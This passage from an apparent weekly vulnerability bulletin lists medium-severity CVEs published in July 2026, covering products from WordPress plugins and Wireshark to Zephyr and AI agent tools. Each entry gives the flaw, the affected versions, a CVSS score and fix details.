| web-infra-dev--midscene                                                                    | Midscene Bridge Server through 1.10.3, fixed in commit 86f4118, contains a missing authentication and CORS misconfiguration vulnerability that allows unauthenticated remote attackers to hijack active bridge sessions by opening a cross-origin WebSocket connection to the local Socket.IO server, which performs no Origin header validation and requires no authentication token. Attackers can connect from any web page visited by the victim to seize the single-client slot, intercept and inject automation commands, exfiltrate command-payload data, or unconditionally terminate the server by supplying the <code>MIDSCENE_BRIDGE_SIGNAL_KILL</code> query parameter.                                                                                                                                                                                                                                                                                                                                                           | 2026-07-08 | 6.8        | <a href="#">CVE-2026-59804</a> |
| webaways--NEX-Forms Ultimate Forms Plugin for WordPress                                    | The NEX-Forms - Ultimate Forms Plugin for WordPress plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 9.2.2. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to overwrite the <code>saved_admin_email</code> , <code>saved_user_email</code> , and <code>saved_user_email_address</code> fields of arbitrary form entries belonging to other users, and cause the site to dispatch attacker-controlled email content to attacker-chosen recipient addresses.                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-11 | 5.3        | <a href="#">CVE-2026-9017</a>  |
| Webbeyaz Web Design--Medikm Web                                                            | Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Webbeyaz Web Design Medikm Web allows Reflected XSS. This issue affects Medikm Web: through 08072026. NOTE: The vendor was contacted and it was learned that the product is not supported.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-08 | 6.1        | <a href="#">CVE-2026-8310</a>  |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                                                           | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Webbeyaz Web Design--Medikm Web                                                                                     | Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Webbeyaz Web Design Medikm Web allows Stored XSS. This issue affects Medikm Web: through 08072026. NOTE: The vendor was contacted and it was learned that the product is not supported.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-08 | 5.4        | <a href="#">CVE-2026-8315</a>  |
| WebFactory--Under Construction Page (Pro)                                                                           | The UnderConstructionPage PRO plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 5.76. This is due to the plugin accepting arbitrary local file paths in the template_thumbnail parameter and copying their contents into a publicly accessible uploads file. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read arbitrary files on the server, which can contain sensitive information.                                                                                                                                                                                                                                                                                                                                  | 2026-07-11 | 6.5        | <a href="#">CVE-2026-11426</a> |
| Webkul--Bagisto                                                                                                     | Bagisto before 2.4.4 contains a stored cross-site scripting vulnerability via client-side template injection that allows unauthenticated attackers to execute arbitrary JavaScript in administrator browsers by registering a customer account with malicious payload in the first or last name field. The create.blade.php template renders customer name fields without the Vue.js v-pre directive, causing Vue.js to evaluate stored template expressions as live JavaScript when an administrator opens the Create Order page for the affected customer.                                                                                                                                                                                                                                                            | 2026-07-09 | 5.4        | <a href="#">CVE-2026-60120</a> |
| Webremium Istanbul Web Design--Mezunum Satiyorum                                                                    | Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Webremium Istanbul Web Design Mezunum Satiyorum allows Stored XSS. This issue affects Mezunum Satiyorum: from 1.2.504 through 10072026. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-10 | 6.4        | <a href="#">CVE-2026-3251</a>  |
| wedevs--ERP: Complete HR, Accounting & CRM Suite Built for WooCommerce                                              | The ERP: Complete HR, Accounting & CRM Suite with Recruitment and WooCommerce CRM Support plugin for WordPress is vulnerable to generic SQL Injection via the 'orderby' parameter in all versions up to, and including, 1.17.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with custom-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires the erp_list_employee capability, which is granted to HR Manager-level users and above within the WP ERP plugin.                                                                                             | 2026-07-09 | 6.5        | <a href="#">CVE-2026-13011</a> |
| wedevs--User Frontend: AI Powered Frontend Posting, User Directory, Profile Builder, Membership & User Registration | The User Frontend: AI Powered Frontend Posting, User Directory, Profile, Membership & User Registration plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.3.7. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to delete arbitrary media attachments whose post_author is 0, such as guest and registration-form uploads, via the wpuf_file_del AJAX action. This is exploitable by unauthenticated visitors on any site where a WPUF shortcode is rendered on a front-end page, as this causes the valid wpuf_nonce value to be localized into publicly accessible JavaScript objects (wpuf_upload and wpuf_frontend), satisfying the sole access control gate. | 2026-07-09 | 5.3        | <a href="#">CVE-2026-12406</a> |
| wedevs--User Frontend: AI Powered Frontend Posting, User Directory, Profile Builder, Membership & User Registration | The User Frontend: AI Powered Frontend Posting, User Directory, Profile, Membership & User Registration plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.3.7 via the 'wpuf_files_data' parameter due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to overwrite the post_title, post_content, and post_excerpt of any arbitrary post on the site, including posts authored by administrators. Exploitation requires access to any WPUF post submission form; this is achievable by users with no WordPress role, as the wpuf_submit_post AJAX action is gated only by a nonce with no capability check for the downstream post-edit operation.                                                     | 2026-07-09 | 5.3        | <a href="#">CVE-2026-12418</a> |
| wedevs--User Frontend: AI Powered Frontend                                                                          | The User Frontend: AI Powered Frontend Posting, User Directory, Profile, Membership & User Registration plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.3.1 via the                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-08 | 5.3        | <a href="#">CVE-2026-5459</a>  |



## Medium Vulnerabilities

| Primary Vendor -- Product                                                   | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Posting, User Directory, Profile Builder, Membership & User Registration    | payment_page() function due to missing validation on the 'user_id' user controlled key. This makes it possible for unauthenticated attackers to activate a free subscription pack for any user on the site, overwriting their existing paid subscription and causing loss of paid features.                                                                                                                                                                                                                                                                                                                                                                                                                                   |            |            |                                |
| wekan--wekan                                                                | Wekan is open source kanban built with Meteor. Prior to 9.64, Wekan has a cross-board authorization bypass in the direct Meteor collection allow rules for Checklists and ChecklistItems because updates are authorized only against the current source doc.cardId and do not inspect the destination cardId or boardId in the update modifier, allowing a low-privileged authenticated user with write access to one board and knowledge of a target private card id to create checklist data on an accessible card and move it into a private board where they are not a member. This issue is fixed in version 9.64.                                                                                                       | 2026-07-10 | 4.3        | <a href="#">CVE-2026-59154</a> |
| widgetpack--Reviews Widgets for Google, TripAdvisor, Yelp & Recommendations | The Reviews Widgets for Google, Yelp & TripAdvisor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'page_id' shortcode attribute of the [fbrev] shortcode in versions up to and including 2.7.3. This is due to insufficient input sanitization and output escaping in the Feed_Shortcode::fbrev() method, which passes the raw shortcode attribute through Feed_Old::get_feed() into the View::render() method, where it is echoed directly into the data-id HTML attribute without esc_attr(). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. | 2026-07-06 | 6.4        | <a href="#">CVE-2026-12154</a> |
| Wireshark Foundation--ciscodump                                             | Crash in ciscodump 4.6.0 to 4.6.6 and 4.4.0 to 4.4.16 allows denial of service                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-08 | 5.5        | <a href="#">CVE-2026-15164</a> |
| Wireshark Foundation--Wireshark                                             | Multiple protocol dissector infinite loops in Wireshark 4.6.0 to 4.6.6 and 4.4.0 to 4.4.16 allow denial of service                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-08 | 5.5        | <a href="#">CVE-2026-15163</a> |
| Wireshark Foundation--Wireshark                                             | TLS ECH decryptor crash in Wireshark 4.6.0 to 4.6.6 allows denial of service                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-08 | 5.5        | <a href="#">CVE-2026-15165</a> |
| Wireshark Foundation--Wireshark                                             | IEEE 802.11 protocol dissector crash in Wireshark 4.6.0 to 4.6.6 and 4.4.0 to 4.4.16 allows denial of service                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-08 | 5.5        | <a href="#">CVE-2026-15166</a> |
| Wireshark Foundation--Wireshark                                             | UMTS FP protocol dissector crash in Wireshark 4.6.0 to 4.6.6 and 4.4.0 to 4.4.16 allows denial of service                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-08 | 5.5        | <a href="#">CVE-2026-15169</a> |
| Wireshark Foundation--Wireshark                                             | Z39.50 protocol dissector crash in Wireshark 4.6.0 to 4.6.6 and 4.4.0 to 4.4.16 allows denial of service                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-08 | 5.5        | <a href="#">CVE-2026-15170</a> |
| Wireshark Foundation--Wireshark                                             | SSH protocol dissector crash in Wireshark 4.6.0 to 4.6.6 and 4.4.0 to 4.4.16 allows denial of service                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-08 | 5.5        | <a href="#">CVE-2026-15171</a> |
| Wireshark Foundation--Wireshark                                             | FMP/NOTIFY protocol dissector crash in Wireshark 4.6.0 to 4.6.6 and 4.4.0 to 4.4.16 allows denial of service                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-08 | 5.5        | <a href="#">CVE-2026-15172</a> |
| Wireshark Foundation--Wireshark                                             | Catapult DCT2000 protocol dissector crash in Wireshark 4.6.0 to 4.6.6 and 4.4.0 to 4.4.16 allows denial of service                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-08 | 5.5        | <a href="#">CVE-2026-15174</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                             | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Wireshark Foundation--Wireshark                                                       | pcapng file parser crash in Wireshark 4.6.0 to 4.6.6 allows denial of service                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-08 | 4.7        | <a href="#">CVE-2026-15173</a> |
| wpdevart--Booking calendar, Appointment Booking System                                | The Booking calendar, Appointment Booking System plugin for WordPress is vulnerable to time-based SQL Injection via the 'wpdevart_id' parameter in all versions up to, and including, 3.2.17 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. In order to exploit the vulnerability, the Pro version of the plugin must be installed and activated, with the 'Delete previous dates' option checked.                                                                                                                    | 2026-07-10 | 5.9        | <a href="#">CVE-2026-15289</a> |
| wpdevteam--BetterDocs AI Documentation, Knowledge Base, Docs, Wikis, FAQ with Chatbot | The BetterDocs - AI Documentation, Knowledge Base, Docs, Wikis, FAQ with Chatbot plugin for WordPress is vulnerable to generic SQL Injection via the 'lang' parameter in all versions up to, and including, 4.6.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with custom-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires a supported multilingual plugin (WPML, Polylang, qTranslate, Weglot, or TranslatePress) to be active on the site, as the vulnerable code path is gated by Helper::is_multilingual_active(). | 2026-07-10 | 6.5        | <a href="#">CVE-2026-15104</a> |
| wpdevteam--Essential Addons for Elementor Popular Elementor Templates & Widgets       | The Essential Addons for Elementor - Popular Elementor Templates & Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Event Calendar widget in all versions up to, and including, 6.6.2 due to insufficient input sanitization and output escaping on event titles sourced from The Events Calendar. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                         | 2026-07-08 | 6.4        | <a href="#">CVE-2026-6459</a>  |
| wpkuf--Wp Js Detect                                                                   | The Wp Js Detect plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.9. This is due to missing or incorrect nonce validation on the plugin_settings function. This makes it possible for unauthenticated attackers to update the plugin's notification text and CSS settings (wp_non_js_notification_text and wp_non_js_notification_css), injecting arbitrary content that is echoed unescaped on the frontend via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.                                                                                                                                                                                             | 2026-07-08 | 4.3        | <a href="#">CVE-2026-9731</a>  |
| wplegalpages--Cookie Banner for GDPR / CCPA WPLP Cookie Consent                       | The GDPR Cookie Consent plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check and missing nonce verification on the gdpr_cookie_consent_ajax_save_schedule_scan() function (the wp_ajax_gcc_save_schedule_scan AJAX action) in versions up to, and including, 4.3.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify the plugin's cookie scan schedule configuration stored in the gdpr_scan_schedule_data option, which is an administrative function intended to be limited to users with the manage_options capability.                                                                                                                                                      | 2026-07-10 | 4.3        | <a href="#">CVE-2026-12955</a> |
| wplegalpages--Cookie Banner for GDPR / CCPA WPLP Cookie Consent                       | The Cookie Banner for GDPR / CCPA - WPLP Cookie Consent plugin for WordPress is vulnerable to generic SQL Injection via the 'scan_id' parameter in all versions up to, and including, 4.3.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.                                                                                                                                                                                                                                  | 2026-07-10 | 4.9        | <a href="#">CVE-2026-14475</a> |
| wpmanageninja--Fluent Forms                                                           | The Fluent Forms plugin for WordPress is vulnerable to incorrect authorization via the 'subscription_id' parameter in versions up to, and including, 6.2.1. This is due                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-10 | 5.4        | <a href="#">CVE-2026-5069</a>  |

## Medium Vulnerabilities

| Primary Vendor -- Product                                               | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder | to insufficient ownership authorization checks in the payment cancellation AJAX flow. This makes it possible for authenticated attackers, with subscriber-level access and above, to submit cancellation requests for other users' subscriptions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |            |            |                                |
| wpovernight--PDF Invoices & Packing Slips for WooCommerce               | The PDF Invoices & Packing Slips for WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.14.0 via the generate_document_shortcode due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with contributor-level access and above, to mint publicly accessible, session-free download links for arbitrary third-party orders, exposing customer names, billing and shipping addresses, email addresses, phone numbers, order and invoice numbers, line items, totals, payment details, and customer notes contained in those orders' invoices and packing slips. Exploitation requires the plugin's Document link access type setting to be configured to 'full'; with the default 'logged_in' value, generated URLs are signed with a per-session nonce rather than the order_key, making the shortcode path unexploitable for unauthorized access to third-party orders.                        | 2026-07-11 | 4.3        | <a href="#">CVE-2026-13116</a> |
| wpswings--Points and Rewards for WooCommerce                            | The Points and Rewards for WooCommerce plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.10.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to convert and drain any user's reward points into wallet balance, exfiltrate all users' emails and point balances to an attacker-controlled Klaviyo account, overwrite the site's Klaviyo public API key, block or unblock arbitrary users from the points system, and modify campaign banner and heading settings. The nonce used for authentication of these requests (wps-wpr-verify-nonce) is injected into every public-facing page via wp_localize_script(), and the wps_wpr_generate_custom_wallet handler is additionally registered on the wp_ajax_nopriv_ hook, meaning unauthenticated visitors can also obtain a valid nonce and exploit that specific action. | 2026-07-11 | 4.3        | <a href="#">CVE-2026-10628</a> |
| wpvividplugins--WPvivid Backup for MainWP                               | The WPvivid Backup for MainWP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 0.9.33 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-10 | 4.4        | <a href="#">CVE-2026-15283</a> |
| wpxpo--Post Grid Gutenberg Blocks PostX                                 | The Ultimate Post plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'moreResultsText' block attribute of the ultimate-post/advanced-search block in versions up to and including 5.0.31. This is due to insufficient input sanitization and output escaping in the Advanced_Search::content() render callback: the attribute value is filtered with wp_kses(), which strips disallowed HTML tags but does NOT escape HTML special characters such as double quotes in plain text, and the result is then concatenated directly into the data-viewmoretext HTML attribute without esc_attr(). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                  | 2026-07-09 | 6.4        | <a href="#">CVE-2026-13253</a> |
| WSO2--WSO2 Identity Server                                              | The software accepts user-supplied input via a URL parameter without adequate output encoding before reflecting it back to the user's browser. This condition allows an attacker to inject malicious script content into pages served by the application. By leveraging this weakness, an attacker can cause the user's browser to redirect to a malicious website, modify the UI of the webpage, or retrieve information from the browser. However, the impact is mitigated by the use of httpOnly flags on session-related cookies, preventing session hijacking.                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-06 | 6.1        | <a href="#">CVE-2025-8591</a>  |

# Medium Vulnerabilities

| Primary Vendor -- Product              | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| wupsales--AI Copilot Content Generator | The AI Chatbot & Workflow Automation by AIWU plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.4.12. This is due to missing capability checks and nonce verification on AJAX actions registered under both wp_ajax_ and wp_ajax_nopriv_ hooks, as the base controller's getPermissions() returns an empty array and neither removeGroup nor clear are added to getNoncedMethods(), causing the authorization gate to unconditionally return true for these actions. This makes it possible for unauthenticated attackers to delete specific records by ID or delete all records from any module's database table by unauthenticated attackers.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-11 | 5.3        | <a href="#">CVE-2026-6803</a>  |
| wupsales--AI Copilot Content Generator | The AI Chatbot & Workflow Automation by AIWU plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.4.12. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to publish draft WordPress posts, exposing unpublished content, or unpublish live content, causing service disruption, by supplying arbitrary scenario IDs.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-11 | 5.3        | <a href="#">CVE-2026-6804</a>  |
| YzmCMS--YzmCMS                         | A security vulnerability has been detected in YzmCMS up to 7.5. Affected is the function get_url of the file /yzmphp/yzmphp.php of the component Header Handler. The manipulation of the argument HTTP_HOST leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-09 | 4.3        | <a href="#">CVE-2026-15202</a> |
| zephyrproject--zephyr                  | The Bluetooth BAP Broadcast Assistant GATT client in subsys/bluetooth/audio/bap_broadcast_assistant.c reassembled remote Broadcast Receive State data into a single file-static net_buf_simple (att_buf, BT_ATT_MAX_ATTRIBUTE_LEN = 512 bytes) shared by all connection instances, while the BUSY flag, long-read handle, and reset/offset state were per-connection. When the device acts as a Broadcast Assistant connected to multiple Scan Delegator peripherals, notification and long-read callbacks from different connections interleave on the shared buffer: the append in notify_handler (net_buf_simple_add_mem at the not-busy branch) performs no tailroom check, so receive-state notifications from two or more delegators accumulate on the same 512-byte buffer and, with a sufficiently large configured ATT MTU (BT_L2CAP_TX_MTU up to 2000) and two-to-three concurrent connections, write past the buffer into adjacent .bss (net_buf_simple_add only asserts in debug builds). Even below the overflow threshold, one connection's net_buf_simple_reset zeroes the shared length while another connection's reassembly and GATT read offset are in flight, mixing one peer's data into another's parse. A malicious or compromised Scan Delegator (or two colluding peers) over BLE can trigger this, causing out-of-bounds writes (memory corruption / denial of service) and cross-connection data corruption. The fix moves the buffer into the per-connection instance struct so each connection reassembles into its own buffer. Affects Zephyr releases shipping the Broadcast Assistant with the shared buffer, including v4.4.0 and earlier. | 2026-07-11 | 6.4        | <a href="#">CVE-2026-10660</a> |
| zephyrproject--zephyr                  | In Zephyr's experimental USB host stack (CONFIG_USB_HOST_STACK), usbh_device_disconnect() (subsys/usb/host/usbh_device.c) freed the root usb_device slab object without clearing the cached pointer ctx->root. The bus removal handler dev_removed_handler() (subsys/usb/host/usbh_core.c) decides what to tear down solely from ctx->root, checking only that it is non-NULL. Because UHC controller drivers (e.g. uhc_max3421e, uhc_mcux_common) synthesize UHC_EVT_DEV_REMOVED directly from physical bus line state with no debounce or state guard, an attacker with physical USB access (or a rogue device that bounces its connection) can deliver a second device-removed event after a root device disconnect. The handler then re-enters usbh_device_disconnect() with the dangling pointer, locking a mutex inside the freed object (use-after-free), removing the freed node from the device list, and calling k_mem_slab_free() on the already-freed block (double-free). If the slab block has been reissued to a newly attached                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-12 | 6.1        | <a href="#">CVE-2026-10663</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | device in between, this corrupts a live object. Impact is denial of service (crash) and memory corruption; the attack vector is physical/local. The flaw was introduced in v4.4.0 by the connect/disconnect refactor and is fixed by clearing ctx->root in usbh_device_disconnect() before freeing.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |            |            |                                |
| zephyrproject--zephyr     | The nRF70 Wi-Fi driver's power-save event handler nrf_wifi_event_proc_get_power_save_info() in drivers/wifi/nrf_wifi/src/wifi_mgmt.c copied TWT (Target Wake Time) flow entries from an nrf_wifi_umac_event_power_save_info event into the fixed-size twt_flows[WIFI_MAX_TWT_FLOWS] (8-element) array of a caller-supplied struct wifi_ps_config, looping over event-provided num_twt_flows without validating it against WIFI_MAX_TWT_FLOWS or checking event_len. When num_twt_flows exceeds 8, the handler writes past the destination array (which is typically on the caller's stack, e.g. the wifi ps shell command) -- an out-of-bounds write of ~40-byte TWT entries -- and reads twt_flow_info[i] past the event buffer. The event is delivered by the nRF70 co-processor firmware in response to a host-initiated power-save GET, so reaching the overflow requires the firmware to emit a malformed or out-of-range event; the trust boundary is host-to-trusted-coprocessor rather than a direct remote-AP write, with over-the-air influence on the flow count being indirect and bounded by the 3-bit TWT flow-id space. Affected: builds with CONFIG_NRF70_STA_MODE on releases through v4.4.0. The fix rejects events with num_twt_flows > WIFI_MAX_TWT_FLOWS or with event_len shorter than the claimed entries, and adds a NULL check on the caller buffer. | 2026-07-12 | 5          | <a href="#">CVE-2026-10664</a> |
| zephyrproject--zephyr     | The Dhara flash translation layer disk driver (drivers/disk/ftl_dhara.c) implemented the dhara_nand_callbacks so that, on a flash error, the error code was written unconditionally through the caller-supplied dhara_error_t err pointer (e.g. *err = DHARA_E_ECC in dhara_nand_read, and similar in dhara_nand_erase/prog/copy). The upstream Dhara library calls these callbacks with err == NULL along its journal-resume binary search: find_last_checkblock() invokes find_checkblock(j, mid, &found, NULL), which forwards the NULL pointer into dhara_nand_read(). This path runs during disk_ftl_access_init() -> dhara_map_resume() whenever the FTL disk is mounted/initialised. If a flash read error (uncorrectable ECC, bad block, controller error) occurs on one of the probed checkpoint pages, the driver dereferences and writes to NULL, faulting the kernel (denial of service). The trigger is conditioned on the NAND medium content/health, which can be influenced by media wear, induced faults, or a corrupted/crafted on-flash image. The fix routes all error assignments through the library's NULL-safe dhara_set_error() helper. Affects Zephyr v4.4.0, where the driver was introduced.                                                                                                                                                      | 2026-07-07 | 4.7        | <a href="#">CVE-2026-10659</a> |
| zhayujie--CowAgent        | A security flaw has been discovered in zhayujie CowAgent up to 2.1.0. The impacted element is an unknown function of the file channel/channel.py of the component Message Endpoint. The manipulation results in missing authorization. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-10 | 6.3        | <a href="#">CVE-2026-15332</a> |
| zhayujie--CowAgent        | A vulnerability was identified in zhayujie CowAgent up to 2.1.0. The affected element is the function _add_url/_add_package of the file agent/skills/service.py of the component Skill Installation Handler. The manipulation of the argument Name leads to path traversal. The attack may be initiated remotely. Upgrading to version 2.1.2 is sufficient to fix this issue. The identifier of the patch is e85290cddcb5ffc9c235927f4c92e5b4c3ec264. It is advisable to upgrade the affected component.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-10 | 5.4        | <a href="#">CVE-2026-15331</a> |
| zhayujie--CowAgent        | A vulnerability was found in zhayujie CowAgent up to 2.1.0. This issue affects the function BrowserTool._do_navigate of the file agent/tools/browser/browser_tool.py of the component Browser Tool. Performing a manipulation results in information disclosure. The attack can be initiated                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-10 | 4.3        | <a href="#">CVE-2026-15329</a> |



## Medium Vulnerabilities

| Primary Vendor -- Product  | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|----------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                            | remotely. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                                                                                                                                                                                          |            |            |                                |
